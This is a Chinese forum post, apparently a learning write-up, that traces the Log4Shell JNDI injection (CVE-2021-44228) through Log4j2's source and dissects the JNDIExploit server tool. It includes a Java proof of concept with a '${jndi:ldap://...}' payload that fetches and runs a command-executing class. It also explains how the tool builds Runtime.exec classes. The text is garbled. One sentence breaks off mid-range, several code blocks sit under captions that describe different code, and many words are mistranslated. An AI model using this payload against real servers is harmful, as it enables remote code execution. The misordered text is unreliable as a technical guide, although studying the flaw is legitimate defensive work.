log4j2 变量注入漏洞(CVE-2021-44228)

打印 上一主题 下一主题

主题 817|帖子 817|积分 2451

log4j2 JNDI注入漏洞(CVE-2021-44228)
概述

本文非常详细的从头至尾debug了CVE-2021-44228漏洞的利用过程,喜欢的师傅记得点个保举~
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,而且引入了大量丰富的特性。该日志框架被大量用于业务系统开辟,用来记录日志信息。大多数情况下,开辟者可能会将用户输入导致的错误信息写入日志中。
由于Apache Log4j2某些功能存在递归分析功能,攻击者可直接构造恶意哀求,触发长途代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成长途代码执行。(CNVD-2021-95914、CVE-2021-44228)

影响版本:Apache Log4j 2.x  level.intLevel,level.intLevel是 我们传过来的那个值,而intLevel这个值是提前定义好的,以是这个判断意思就是 我们当前的日志级别的值是否比intLevel更低,在log4j2中,日志品级(StandardLevel中的int值)越低则日志优先级越高,intLevel值默认是200,也就是ERROR级别</ul>总结一下这块的逻辑:log4j2中有FATAL、ERROR、WARN、INFO这些日志级别,默认只会记录(处理)小于即是200级别的日志,也就是ERROR和FATAL级别的日志。


然后回到logIfEnabled这个方法中,进入到logMessage函数中,然后一路跟下去,中间的函数都没什么好说的都是一些嵌套的方法调用对参数举行处理,在LoggerConfig.log方法中会把很多字段封装成一个LogEvent对象,这个对象在后边有用到,我们继续往下跟。

这块的format是一个非常重要的方法,在这段代码中,有一个判断来判断event中是否有${这一个组合字符,假如有的话实验把${标识的一串字符串拿到,然后调用StrSubstitutor.replace这个方法

然后调用到了StrSubstitutor.substitute方法。这个方法其实挺复杂的,是一个递归分析变量的方法,然后分析每一个变量,虽然逻辑复杂但是对于咱们做安全学习来说,看懂大概逻辑即可。
log4j2的这个方法的注释是如许的:
Recursive handler for multiple levels of interpolation. This is the main interpolation method, which resolves the values of all variable references contained in the passed in text.
用于多级插值的递归处理程序。这是重要的插值方法,它分析传入文本中包罗的所有变量引用的值。
Params:
event – The current LogEvent, if there is one. buf – the string builder to substitute into, not null offset – the start offset within the builder, must be valid length – the length within the builder to be processed, must be valid priorVariables – the stack keeping track of the replaced variables, may be null
参数:event–当前LogEvent(假如有的话)。buf–要替换的字符串天生器,而不是空偏移量–天生器中的起始偏移量必须是有效长度–要处理的天生器中的长度必须是有效的priorVariables–跟踪被替换变量的堆栈,可以是空的
Returns:
the length change that occurs, unless priorVariables is null when the int represents a boolean flag as to whether any change occurred.
返回:发生的长度变化,除非当int表示是否发生任何变化的布尔标志时priorVariables为null。
简单理解说就是好比说,buf中包罗了嵌套的变量时,会递归拆分这些变量。然后调用resolveVariable来分析变量。

然后会获取所有的变量分析器,然后实验使用分析器来处理这个变量,这个地方就非常关键了,其实可以看到这里是支持多种分析方式的,好比env、sys、ctx等等,另有我们最重要的漏洞点jndi,接着往下跟马上就到终极的处理逻辑了。

因为我们这里输入的是一个jndi:xxxx,以是这里的Strlookup自然而然也是一个JndiLookup处理器
这里边调用了JndiManager的lookup方法,这个jndiManager其实就是log4j2对JNDI的一层封装而已,

这里的Context其实就是JNDI中的上下文对象。可以发现这里就是终极的触发点了,哀求了
ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=

当你学过JNDI + LDAP的注入攻击方式应该就很清除了,当前log4j2本质上就是一个LDAP的客户端,然后去外部哀求LDAP的服务端。
然后放开断点,此时盘算器就被弹出了。

JNDIExploit分析

这个项目其实就是封装了一下JNDI-Injection-Exploit的服务端,让其用起来更加方便,这里简单分析一下,重要是我也想看一下它写的逻辑,hhhhhhh
JNDIServer分析

我们先静态分析一下

在applyCmdArgs方法中,分析了所有的配置项,然后把配置存入到Config这个类中,这个类中的所有字段都是public static的,可以理解是全局访问的变量,而且全局只有一份。

然后看一下LdapServer中的内容,大概意思就是起一个Ldap服务,监听所有IP哀求(0.0.0.0),因为我们没有配置ldap端口以是使用默认ldap端口,在配置完成后启动LDAP服务监听。

然后我们知道要连接的肯定是Ldap服务器,以是我们看一下LdapServer这个里边是怎么写的,也就是new LdapServer这个构造方法中干了什么事儿。

这个其实就是获取到所有用了LdapMapping注解的类,然后通过routes将所有的路径都存储起来,而LdapServer重写了processSearchResult函数,逻辑如下:
从routes中拿到第一段URL,通过URL匹配到对应的controller,然后调用这个controller的process方法和sendResult方法。

这里以BasicController为例,process其实就是对哀求参数做处理的方法,sendResult就是回应Ldap客户端哀求的方法,这里有可能会根据哀求的不同来选择是否要转到HttpServer上。

HTTPServer分析

HttpServer.start方法中会开启一个HTTP服务器,然后创建一个监听 "/"的路由。可以看到在这个Handler中,他处理了所有以class、wsdl、jar、xxelog为结尾的哀求,否则就会访问404状态码

然后我们这里其实是用到了.class,以是看一下handleClassRequest里边是个啥。
其实就是把Cache中存放的二进制字节拿出来,然后发送出去,没了......

Cache是什么时间放进去的呢,在BasicController中是这么写的,假如对应的type是command,那么就天生一个命令执行的代码执行模板,然后将其放入到缓存中,我们看一代码执行模板是怎么被创建出来的。

就是这么一个逻辑,根据要执行的cmd命令天生一个随机类名,然后使用ASM来直接天生一份包罗了Runtime.getRuntime().exec()这个方法,exec方法的参数就是cmd中的内容。

OK,对我们学习该漏洞资助的JNDIExploit这个项目差不多就这么多了。可能这个老哥考虑的东西比较多(可能是想写的更加灵活一点),以是加了个HttpServer来完成其他方式的攻击吧,其实这里不使用HttpServer也行直接把ASM的代码移植到Ldap那里是一样的效果。
其实就是JNDI的平凡注入,可以参考大佬写的这篇分析JNDI的博客:https://www.mi1k7ea.com/2019/09/15/浅析JNDI注入/
增补

看起来log4j2的这个库只会导致log.error和log.fatal这两个方法会导致漏洞的触发,但其实不是的,我们还记得isEnabled方法吗,此中那个判断是这么写的:
  1. <dependency>
  2.     <groupId>org.apache.logging.log4j</groupId>
  3.     <artifactId>log4j-core</artifactId>
  4.     <version>2.14.1</version>
  5. </dependency>
复制代码
配置level有多种方法,好比在resource/中新增log4j2.xml文件:
  1. package log4j2_labs;
  2. import org.apache.logging.log4j.LogManager;
  3. import org.apache.logging.log4j.Logger;
  4. public class CVE_2021_44228 {
  5.     private static final Logger logger = LogManager.getLogger(CVE_2021_44228.class);
  6.     public static void main(String[] args) {
  7.         // Y21kIC9jIGNhbGM= 这里是cmd /c calc这个命令的Base64编码之后的写法,也就是漏洞触发之后要执行的命令
  8.         logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=}");
  9.     }
  10. }
复制代码
另有一种方法是通过代码API直接配置
  1. public boolean isEnabled(final Level level, final Marker marker, final String message, final Throwable t) {
  2.     return privateConfig.filter(level, marker, message, t);
  3. }
  4. boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
  5.     final Filter filter = config.getFilter();
  6.     if (filter != null) {
  7.         final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);
  8.         if (r != Filter.Result.NEUTRAL) {
  9.             return r == Filter.Result.ACCEPT;
  10.         }
  11.     }
  12.     // 重点就是这个intLevel,其实这个外部是能配置的,比如开发者希望记录INFO以上级别的日志,那么这个时候intLevel就是INFO级别的值
  13.     return level != null && intLevel >= level.intLevel();
  14. }
复制代码
假如我们是以攻击者的视角,其实是无法干涉这些配置的,以是能否触发该漏洞,要看开辟使用的配置。
回到我们前边说的那段描述这个漏洞的话:此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成长途代码执行。
这一篇内容感觉已经写的很长了,以是这里就结束了,后边可能再更新一篇jndi关键词 绕过的相干内容吧。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

玛卡巴卡的卡巴卡玛

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表